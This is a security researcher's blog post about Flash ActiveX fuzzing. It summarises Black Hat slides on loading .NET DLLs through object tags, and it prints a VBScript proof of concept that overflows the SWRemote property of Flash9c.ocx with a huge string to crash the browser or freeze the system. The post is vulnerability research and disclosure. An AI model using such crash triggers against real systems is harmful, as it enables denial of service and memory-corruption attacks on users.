Flash, Fuzzing and Girls.

Publicated on : 1179766248
A short update of developments this week. Let's start with how to impress girls.



I just read some slides from Blackhat, and one that caught my interest was the slides from Mark Dowd and Alexander Sotirov[1]. I guess I don't have to explain who those gentlemen are. Right, now what caught my eye was a mention about the use of verbatim dll pointers in an object. Usually, with ActiveX we load the classid followed by the id that links to the dll. In this case, they just load the dll into the object and that raises no warning in the Internet Zone. Clearly this is some very notable find and certainly material to impress girls with, because I never assumed that that was possible. It shows again that a solution is always in it's environment. It's simple, but brilliant.



Loading verbatim dll's:

<object classid="ControleName.dll#NameSpace.ClassName"></object>

That is only one tiny part of the paper, go read it if you are interested. It is a real eyeopener. It covers:



- "Stack Spraying", an alternative method to heap spraying with some additional benefits

- Exploiting poor permissions, such as Java's RWX memory allocator, and

- Utilizing .NET binaries to map data at an attacker-controlled memory location.



Adobe fixes heap corruption.



Some time ago, I found that the Flash9c.ocx was vulnerable to heap corruption, and that it's possible to overflow the SWRemote property inside the Flash9c.ocx Interface with a very long string generated in VBscript. In my test case it ran for about 30 seconds before crashing and raising an exception, when trying to kill it, it could result in a full system freeze. After updating Flash It seems Adobe fixed this silently in at least Flash9f.ocx. A real bummer for personal research. I cannot reproduce it anymore, because I did not make a copy of Flash9c.ocx for future research. Anyway I learned to make copies now.

 

Interface IShockwaveFlash : IDispatch
 

Default Interface: True
 

Members : 93
 

Quality
 

ScaleMode
 

AlignMode
 

BackgroundColor
 

Movie
 

FrameNum
 

SetZoomRect
 

Zoom
 

Pan
 

GotoFrame
 

FrameLoaded
 

WMode
 

SAlign
 

Base
 

Scale
 

BGColor
 

Quality2
 

LoadMovie
 

TGotoFrame
 

TGotoLabel
 

TCurrentFrame
 

TCurrentLabel
 

TPlay
 

TStopPlay
 

SetVariable
 

GetVariable
 

TSetProperty
 

TGetProperty
 

TCallFrame
 

TCallLabel
 

TSetPropertyNum
 

TGetPropertyNum
 

TGetPropertyAsNumber
 

SWRemote
 

FlashVars
 

AllowScriptAccess
 

MovieData
 

ProfileAddress
 

ProfilePort
 

CallFunction
 

SetReturnValue
 

AllowNetworking
 

AllowFullScreen
 

SWRemote



The property SWRemote inside Flash9x.ocx interface obtains a string passed through the object:

Property Let SWRemote As String

The proof of concept was:

<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='foo'>
 

<param name="src" value="foo.swf">
 

</object>
 


 

<object classid='clsid:D27CDB6E-AE6D-11CF-96B8-444553540000' id='bar'>
 

<param name="src" value="foo.swf">
 

</object>
 


 

<script type='text/vbscript'>
 


 

long=String(100000000,"X")
 


 

foo.SWRemote=long
 

bar.SWRemote=long
 


 

</script>

Live trace:







Now the interesting thing about this is, I fuzzed all classes in that particular dll without regard if they were considered fuzzable or not. It turns out that, in blackbox fuzzing you can find vulnerabilities that you would not find while fuzzing on assumptions, like COMraider does for example. Secondly, I used two flash objects, or two dll class calls. That made a difference in finding this vulnerability. HD Moore once said that you'll have to know what to fuzz for. This is true in some sense, because it speeds up your fuzzing. But the drawback is, that you cannot encompass all possibilities and quirks. The very vulnerabilities you look for might be not fuzzable without hammering all classes whether they are fuzzable or not, because it turned out that it certainly was in this case.



[1] http://taossa.com/archive/bh08sotirovdowdslides.pdf